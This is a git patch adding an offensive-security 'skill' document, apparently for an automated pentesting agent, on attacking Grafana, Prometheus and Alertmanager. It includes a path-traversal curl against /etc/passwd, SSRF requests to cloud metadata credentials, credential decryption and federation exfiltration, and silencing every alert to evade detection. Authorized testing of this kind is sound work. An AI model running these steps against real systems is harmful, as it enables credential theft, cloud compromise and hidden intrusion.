From 0b45d223c329947847d89d4b7826f1766a7e4a11 Mon Sep 17 00:00:00 2001 From: Alex Schapiro Date: Mon, 20 Jul 2026 17:24:20 +0000 Subject: [PATCH] docs(skills): add grafana_prometheus observability pivot skill --- .../skills/technologies/grafana_prometheus.md | 188 ++++++++++++++++++ 1 file changed, 188 insertions(+) create mode 100644 strix/skills/technologies/grafana_prometheus.md diff --git a/strix/skills/technologies/grafana_prometheus.md b/strix/skills/technologies/grafana_prometheus.md new file mode 100644 index 00000000..2affaaa8 --- /dev/null +++ b/strix/skills/technologies/grafana_prometheus.md @@ -0,0 +1,188 @@ +--- +name: grafana_prometheus +description: Grafana, Prometheus, Alertmanager and exporter security testing — turning exposed observability into SSRF, credential theft, RCE, and lateral movement into the internal network +--- + +# Grafana & Prometheus (Observability Stack) + +Observability stacks (Grafana + Prometheus + Alertmanager + Loki/Tempo/Jaeger + exporters) are among the highest-value pivots on a network. They are chronically exposed (300k+ internet-facing Grafana instances on Shodan), run with weak/no auth, hold plaintext credentials for every backend they touch, and sit in a network position that reaches internal services and cloud metadata. Treat a reachable observability endpoint not as the finding but as the **entry point**: the goal is to pivot from "monitoring is exposed" into data-source credential theft, SSRF into the internal network, cloud key compromise, RCE, and cluster/host takeover. + +## Attack Surface + +**Grafana** (default `:3000`) +- Web UI + REST API (`/api/*`), login, org/user management, snapshots +- Data sources: stored connection details + credentials for Prometheus, Loki, Tempo, MySQL/Postgres, Elasticsearch, InfluxDB, CloudWatch, Azure Monitor, etc. +- Data source **proxy** (`/api/datasources/proxy/...`, `/api/ds/query`) — server-side HTTP client → SSRF primitive +- Plugins (incl. Image Renderer, Infinity) — extra SSRF/RCE surface +- Alerting → contact points/webhooks (outbound HTTP, another SSRF vector) + +**Prometheus** (default `:9090`) +- Query API (`/api/v1/query`, `/graph`), config/target/status endpoints, federation, admin/lifecycle API + +**Alertmanager** (default `:9093`) +- Alert/silence API (`/api/v2/*`), config with receiver credentials + +**Exporters / adjacent** — node_exporter (`:9100`), cAdvisor/kubelet (`:4194`/`:10250`), kube-state-metrics (`:8080`), Pushgateway (`:9091`), Loki (`:3100`), Tempo, Jaeger UI (`:16686`), Thanos/Cortex/Mimir/VictoriaMetrics + +## Reconnaissance + +**Fingerprint & version** (version drives which CVEs apply) +``` +GET /api/health # Grafana: {"version":"...","commit":"..."} +GET /api/frontend/settings # buildInfo, enabled auth, datasource types +GET /login # Grafana login page / footer version +GET /api/v1/status/buildinfo # Prometheus version +GET /metrics # any exporter → prometheus/node/go_* series +``` + +**Auth posture — always test unauthenticated first** +``` +GET /api/datasources # Grafana: 200 = anon/viewer has admin-ish read +GET /?orgId=1 # anonymous access enabled? lands on dashboards +GET /api/v1/targets # Prometheus: 200 = no auth +GET /api/v2/status # Alertmanager: 200 = no auth +``` + +**Credential entry points** +- Grafana default creds `admin:admin` (the first-login change prompt has a **Skip** button — ~1 in 5 internet-facing instances still accept it) +- Anonymous org access (`auth.anonymous`), open sign-up, guest/viewer roles +- Leaked Grafana API keys / service account tokens (`Authorization: Bearer glsa_...` / `eyJ...`) in JS bundles, git, CI logs + +## Key Vulnerabilities & CVEs + +### CVE-2021-43798 — Grafana pre-auth path traversal (arbitrary file read) +Grafana 8.0.0-beta1 → 8.3.0. Directory traversal through the plugin static route reads any file the process can, **no auth required**. Every install ships pre-installed plugins, so the path always exists. +``` +curl --path-as-is 'http://host:3000/public/plugins/mysql/../../../../../../../../etc/passwd' +# other plugin ids that always exist: prometheus, graph, text, alertlist, table-old +``` +High-value reads: +- `/etc/grafana/grafana.ini` and `conf/defaults.ini` → `secret_key`, admin password, SMTP/LDAP creds +- `/var/lib/grafana/grafana.db` (SQLite) → `data_source.secure_json_data` (AES-encrypted with `secret_key` → decrypt to recover backend passwords/tokens), session tokens, API key hashes +- `/proc/self/environ`, cloud credential files (`~/.aws/credentials`, k8s SA token at `/var/run/secrets/kubernetes.io/serviceaccount/token`) + +### CVE-2024-9264 — Grafana SQL Expressions RCE + LFI (DuckDB) +Grafana **v11.0.0–11.2.x** (10.x not affected). The experimental SQL Expressions feature passes user input to the `duckdb` CLI insufficiently sanitized → command injection + arbitrary file read. Enabled by default for the API (feature-flag bug); exploitable **only if the `duckdb` binary is in Grafana's `$PATH`** (not shipped by default). Any user with **Viewer or higher** can exploit. CVSS 9.4. +- Probe: is `duckdb` present? Try the SQL Expressions query path; LFI via `read_csv`/`read_blob`-style functions, command injection via DuckDB's shell/`install`/`load` extension mechanics. +- Mitigation you'll see: remove `duckdb` from PATH. + +### CVE-2025-4123 — Grafana open redirect + stored XSS → SSRF chain +Double-encoded traversal (`..%2f`) into the client path/`/redirect` forwards the victim to an attacker origin that serves a malicious plugin manifest → JS executes in the trusted grafana origin (stored XSS). If the **Image Renderer** plugin is present, escalate to full-read SSRF: +``` +POST /api/render?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ +``` +No creds needed when anonymous access is on (common in demo/lab). + +### CVE-2021-39226 / CVE-2024-1313 — Grafana snapshot auth bypass +Unauthenticated view (and, with `public_mode`, delete) of the lowest-key snapshot via `/api/snapshots/:key` and `/dashboard/snapshot/:key`; CVE-2024-1313 lets a user in a *different org* delete snapshots by view key. Walk snapshot IDs to harvest dashboard data / leaked query values. + +### Prometheus / Alertmanager — exposure is the vuln (no auth by default) +Prometheus and Alertmanager ship with **no authentication**; the docs explicitly say do not expose them. There is rarely a CVE — reachability itself is the finding, and the payoff is recon + credential leakage + pivoting (below). + +## Pivoting: Observability → Deeper Compromise + +This is the core value. Chain each exposure into something that matters. Always articulate the pivot in the finding, not just the exposed endpoint. + +### 1. Grafana data-source proxy → full-read SSRF (internal net + cloud metadata) +Grafana OSS ships a **no-op URL validator** and an **empty `data_source_proxy_whitelist`** (empty = allow all). Any user who can create/read a data source can make Grafana issue arbitrary server-side requests and return the **full response body**. This is a default-config SSRF on essentially every self-hosted OSS instance. +``` +# Point a data source (or reuse an existing one's id) at an internal/meta target, +# then relay through the proxy: +GET /api/datasources/proxy// → http:/// +# AWS IMDSv1 creds: +GET /api/datasources/proxy//latest/meta-data/iam/security-credentials/ +# GCP: Metadata-Flavor: Google → /computeMetadata/v1/instance/service-accounts/default/token +# Internal APIs, k8s API server, admin panels, other cloud services +``` +Pivot: metadata creds → cloud account; internal API reads → data; network mapping → next target. Also test the **alerting webhook/contact-point** and **Image Renderer** as independent SSRF vectors, and plugin SSRFs (e.g. Infinity CVE-2025-8341). + +### 2. Grafana admin → harvest every backend credential +Once authenticated (default creds, anon-admin, leaked token, or after CVE-2021-43798): +``` +GET /api/datasources # host, port, db, user for 5–15 backends +GET /api/admin/settings # SMTP, LDAP bind, OAuth secrets, DB DSN (grafana.ini runtime) +``` +Grafana stores backend passwords/tokens encrypted (`secureJsonData`) — the API won't echo them, but you can (a) use the data source proxy to **query the backend directly through Grafana** (no plaintext needed), or (b) decrypt `grafana.db` `secure_json_data` with the leaked `secret_key` (from grafana.ini) offline. Each recovered credential (Postgres, MySQL, Elasticsearch, CloudWatch/Azure keys) is a fresh pivot into that system. + +### 3. Prometheus config/targets → leaked scrape credentials + inventory +``` +GET /api/v1/status/config # loaded prometheus.yml +GET /api/v1/targets # every scrape target + discovery metadata labels +``` +Prometheus redacts `password: ` in config, **but leaks**: usernames, bearer tokens/`authorization` in some setups, and — critically — **credentials embedded in target URLs** (`https://user:pass@host/...`) which are *not* masked. `remote_write`/`remote_read` blocks leak Grafana Cloud/Cortex/Mimir keys, OAuth client secrets, bearer tokens. `kubernetes_sd_configs` and cloud SD can expose creds and internal DNS. Target lists + `__meta_*`/`__address__` labels = a free internal network map (hostnames, ports, k8s namespaces, cloud instance IDs). + +### 4. PromQL / metrics → internal topology, versions → known-CVE targeting +Metrics are a recon goldmine. Query without auth: +``` +GET /api/v1/query?query=up # every monitored service (host:port) +GET /api/v1/query?query=node_uname_info # kernel/OS/host +GET /api/v1/query?query=node_dmi_info # cloud provider / hardware +GET /api/v1/query?query=node_network_info # interfaces, internal IPs/MACs +GET /api/v1/query?query=kube_pod_info # pods, namespaces, node IPs (KSM) +GET /api/v1/query?query=kube_node_info # node hostnames, kubelet/kubeproxy versions +GET /api/v1/query?query={__name__=~"..._build_info"} # exact component versions +GET /api/v1/label/__name__/values # enumerate all metric names → app inventory +GET /federate?match[]={__name__=~".%2b"} # bulk-exfil series via federation +``` +Pivot: exact versions (`*_build_info`, `kube_node_info`) → map to CVEs and attack the vulnerable components; `up`/`kube_pod_info` → target list of internal services normally invisible from outside. cAdvisor/kubelet and kube-state-metrics reveal container images, args, labels (sometimes secrets in env-derived labels), and full cluster layout. + +### 5. Alertmanager → credential theft, SSRF, and alert suppression (anti-forensics) +``` +GET /api/v2/status # config (receiver creds often masked, structure/routes leak) +POST /api/v2/silences # unauth in default deploys → silence ALL alerts +``` +- Receiver config (`alertmanager.yml`) holds **plaintext** Slack webhook URLs, PagerDuty routing keys, SMTP passwords, OpsGenie/VictorOps keys — steal via file read (CVE-2021-43798 style) or config access; reuse to spoof alerts / social-engineer on-call. +- Webhook receivers = SSRF: if you can influence the receiver URL, point it at internal endpoints. +- Silence abuse: `POST /api/v2/silences` with matcher `alertname=~".+"` for 30d suppresses security/ops alerting while you operate — call this out as a **detection-evasion** impact. + +### 6. Logs/traces backends (Loki, Tempo, Jaeger) → secrets in transit +Exposed Loki (`/loki/api/v1/query_range`), Tempo, and Jaeger UI (`:16686`) frequently contain **request bodies, headers, tokens, session cookies, SQL, and stack traces** captured from real traffic. Query them for `authorization`, `password`, `token`, `set-cookie`, PII. A single logged bearer token or session cookie is a direct account/service takeover. + +## Testing Methodology + +1. **Discover** stack ports/services (`:3000/:9090/:9093/:9100/:3100/:16686`, `/metrics`, `/api/health`). +2. **Fingerprint versions** → shortlist applicable CVEs (43798, 9264, 4123, 39226/1313, Infinity 8341). +3. **Auth matrix** — unauth vs anon vs viewer vs default creds vs leaked token, per component. +4. **Recon-pivot** — pull Prometheus config/targets + PromQL inventory; enumerate Grafana `/api/datasources`. +5. **SSRF-pivot** — data source proxy / render / webhook → internal services + `169.254.169.254`. +6. **Credential-pivot** — file read (43798) → `secret_key` → decrypt `grafana.db`; scrape/remote_write/receiver creds; then reuse against each backend. +7. **Deepen** — RCE (9264 if `duckdb` present), cloud account via metadata, k8s SA token, DB access; demonstrate real impact. + +## Validation + +- SSRF: show the **full body** of an internal-only URL (metadata creds, internal API JSON) returned through Grafana — not just a timing/blind signal. +- Credential theft: show the leaked secret AND prove reuse (authenticate to the backend / cloud), or clearly explain the reuse path. +- File read (43798): return contents of `/etc/passwd` or `grafana.ini` with `--path-as-is`; note affected version. +- RCE (9264): confirm `duckdb` in PATH first; demonstrate command execution or file read; note version 11.x. +- Recon: for Prometheus/Alertmanager exposure, pair the open endpoint with the concrete sensitive data recovered (leaked creds, internal inventory) so the finding shows impact, not just "it's reachable". + +## False Positives / Down-rate + +- Endpoint reachable only from localhost / same trusted segment by design, behind an authenticating reverse proxy (test through the real ingress). +- Grafana Enterprise (real URL validator) or OSS with a configured `data_source_proxy_whitelist` → SSRF blocked. +- CVE-2024-9264 with **no `duckdb` in PATH** → not exploitable (do not report as RCE). +- Patched versions (Grafana ≥ the fixed release for each CVE; check `/api/health`). +- **Demo/sandbox instances with synthetic data** — down-rate per demo-data guidance; exposed monitoring of a throwaway target is low impact. +- Metrics that are genuinely public/non-sensitive (e.g. an intentionally public status page). + +## Impact + +- Cloud account compromise (metadata creds via SSRF), internal network read access, and network mapping. +- Theft of every backend credential Grafana/Prometheus/Alertmanager touches → lateral movement into DBs, Elasticsearch, cloud APIs. +- RCE on the Grafana host (CVE-2024-9264) and arbitrary file read (CVE-2021-43798). +- Kubernetes cluster recon → SA token / kubelet exposure → cluster compromise. +- Alert suppression for detection evasion; secret/PII exposure via logs & traces. + +## Pro Tips + +1. Always fingerprint the version first (`/api/health`, `/api/v1/status/buildinfo`) — it decides RCE vs read vs recon. +2. The exposed dashboard is never the finding; the pivot is. Chain to metadata creds, backend creds, or RCE before reporting. +3. Prometheus `` masking is incomplete — hunt usernames and **URL-embedded creds** in `/api/v1/status/config` and `remote_write`. +4. Grafana can query its own backends for you via the data source proxy — you don't need the plaintext password to exfil data. +5. `*_build_info` and `kube_node_info` metrics hand you exact component versions — turn them straight into CVE targets. +6. Pair with `ssrf`, `information_disclosure`, `kubernetes`, `aws`/`gcp`, and `authentication_jwt` skills; use `nuclei` templates (`grafana-*`, `prometheus-*`) for fast triage. +7. On k8s, an exposed Prometheus/KSM often reveals the whole cluster topology and image versions with zero auth — prioritize it as a recon multiplier. + +## Summary + +Grafana and Prometheus are pivot engines, not endpoints. Grafana holds plaintext-recoverable credentials for every backend, proxies arbitrary server-side requests by default (SSRF → cloud metadata), reads arbitrary files (CVE-2021-43798), and can hit RCE (CVE-2024-9264). Prometheus/Alertmanager expose internal inventory, versions, and scrape/receiver credentials with no auth. Treat any reachable observability service as a launch point into the internal network, cloud account, databases, and cluster — and prove the pivot.